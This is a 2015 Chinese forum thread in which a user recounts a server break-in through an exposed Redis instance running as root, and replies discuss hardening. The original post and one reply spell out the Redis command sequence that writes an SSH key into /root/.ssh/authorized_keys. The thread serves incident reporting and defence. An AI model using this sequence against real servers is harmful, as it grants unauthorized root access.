void1900
V2EX  ›  Redis

redis 没有 bind 127.0.0.1 差点出大事!!!

  •  3
     
  •   void1900 · Nov 8, 2015 · 22475 views
    This topic created in 3866 days ago, the information mentioned may be changed or developed.

    使用 config 可以随意修改文件,比如 /root/authorized_keys

    .. 吓死宝宝了

    Supplement 1  ·  Nov 8, 2015
    夜里五点收到 aliyun 异地登陆报警,一开始以为是 1024 的锅。。

    ps:阿里云这台是平时折腾用的,其他服务器不在阿里云。

    一开始连不上, key ,密码都不行,使用 aliyun 后台修改了 root 密码,可以登陆了。

    接着检查到 `/root/.ssh/authorized_keys` 发现 REDIS0006 字样开头,开始检查 redid ,发现是用 0.0.0.0 在监听,切使用 root 用户启动的 redid 。改 bind ,开 iptables 。

    然后检查其他不在阿里云的服务器,发现都登不上,忽然有点慌,想让机房重置密码。

    后来想到 redis 出的问题我是不是也可以利用,于是乎,
    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    set xxxx "\n\n\nssh-rsa zzzzzzzzzzzzzzzzzzzz\n\n\n"
    save

    我也可以登陆了。。。。修改 authorized_keys , bind , iptables 。。。。


    上面就是完整经历
    Supplement 2  ·  Nov 8, 2015
    各位大神,为什么我的 /root/.ssh/authorized_keys 权限 644 也可以 key 登陆,确实有点奇怪,配服务器的时候因为自己的 key 也无法登陆执行过 restorecon -r ~/.ssh/
    27 replies    2015-11-12 01:28:39 +08:00
    Zzzzzzzzz
        1
    Zzzzzzzzz  
       Nov 8, 2015   ❤️ 3
    没 bind 127.0.0.1 只是问题之一

    iptables 没对固定的几个端口开放白名单问题之二

    问题之三是 redis 有权改 /root/下的文件说明是以 root 跑的 redis, 这是最大的问题
    void1900
        2
    void1900  
    OP
       Nov 8, 2015
    @Zzzzzzzzz iptable 不知道谁关了,以前是靠 iptable 限制只本地的,就忽略了 bind 参数,还好收到 aliyun 异地登陆通知! redis 怎么用其他用户跑? `su xxx` 再启动?
    raingolee
        3
    raingolee  
       Nov 8, 2015 via iPhone
    用 root 起了 redis?
    void1900
        4
    void1900  
    OP
       Nov 8, 2015
    @raingolee 对的,怎么用其他用户跑?
    msg7086
        5
    msg7086  
       Nov 8, 2015
    你 redis 怎么从 redis 账号提权修改 root 文件的……
    void1900
        6
    void1900  
    OP
       Nov 8, 2015
    @msg7086 root 用户启动的 redis 。。。
    msg7086
        7
    msg7086  
       Nov 8, 2015   ❤️ 1
    @void1900 随便抓个发行版( Ubuntu Debian Arch )里带的 redis 都是用 redis 用户启动的。
    真没见过哪个会用 root 启动 redis ……

    PS: 善意提醒,一旦 root 用户被人登录过,请老老实实重装系统以及重新排查程序里可能被植入的木马。
    binux
        8
    binux  
       Nov 8, 2015
    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    set xxxx "\n\n\nssh-rsa zzzzzzzzzzzzzzzzzzzz\n\n\n"
    save

    并不能登录, authorized_keys 的权限不是 600
    ETiV
        9
    ETiV  
       Nov 8, 2015 via iPhone
    能想到这么搞的人脑洞真是大啊……
    void1900
        10
    void1900  
    OP
       Nov 8, 2015
    @binux 为什么我的可以。。。 略微奇怪,我配服务器的时候因为自己的 key 都登陆不了,执行过 `restorecon -r /root/.ssh/`
    void1900
        11
    void1900  
    OP
       Nov 8, 2015
    @msg7086 谢谢,不过目前还没这考虑,因为东西比较多,不过有做异地备份,而且是半夜几点,多台服务器,而且没有把利用的漏洞关上,感觉是批量跑的。
    lightening
        12
    lightening  
       Nov 8, 2015
    所以要把 Redis 装在 Docker 里……
    raingolee
        13
    raingolee  
       Nov 8, 2015
    @msg7086 手动编译的 redis ,好像就没有自带 redis 用户哦
    raingolee
        14
    raingolee  
       Nov 8, 2015
    @void1900
    恩切用户再启动就行
    ---
    为什么我的 /root/.ssh/authorized_keys 权限 644 也可以 key 登陆,确实有点奇怪,配服务器的时候因为自己的 key 也无法登陆执行过 restorecon -r ~/.ssh/

    这个你确认是 644 然后用 root key 登陆的嘛
    void1900
        15
    void1900  
    OP
       Nov 8, 2015
    @raingolee 确定 shh [email protected] 不需要输入密码就登陆了。
    void1900
        16
    void1900  
    OP
       Nov 8, 2015
    @raingolee 确定 shh [email protected] 不需要输入密码就登陆了。
    msg7086
        17
    msg7086  
       Nov 8, 2015
    @raingolee 手动编译的话当然安装也要自己配置了。
    你写 systemd 启动配置脚本的时候得加上 user/group 才行。
    void1900
        18
    void1900  
    OP
       Nov 8, 2015
    @raingolee
    -rw-r--r--. 1 root root 123 11 月 7 19:16 authorized_keys
    kaneg
        19
    kaneg  
       Nov 8, 2015 via iPhone
    应该禁用 root 直接登录,用 sudo
    yytsjq
        20
    yytsjq  
       Nov 8, 2015
    本机使用的话, Redis 使用 UNIX sock 连接方式呢?是不是更安全些。。
    varrily
        21
    varrily  
       Nov 8, 2015
    用 ufw 端口白名单了
    ryd994
        22
    ryd994  
       Nov 8, 2015
    一般该用 socks 文件吧……
    不仅安全,性能也更好
    BOYPT
        23
    BOYPT  
       Nov 8, 2015
    编译党的常见问题~
    dongxiaozhuo
        24
    dongxiaozhuo  
       Nov 8, 2015
    @BOYPT 不只是编译党,好多开发觉得麻烦,各种喜欢开全端口。
    kn007
        25
    kn007  
       Nov 8, 2015
    centos 编译党,表示使用 daemon 指定用户创建进程。
    msg7086
        26
    msg7086  
       Nov 8, 2015
    @dongxiaozhuo 现在很多发行版的默认设定下就算端口全开也问题不大。
    就是 ssh 得装个 fail2ban 。
    hisway
        27
    hisway  
       Nov 9, 2015
    看来不断有人在扫这些端口~
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   1662 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 86ms · UTC 16:38 · PVG 00:38 · LAX 09:38 · JFK 12:38
    ♥ Do have faith in what you're doing.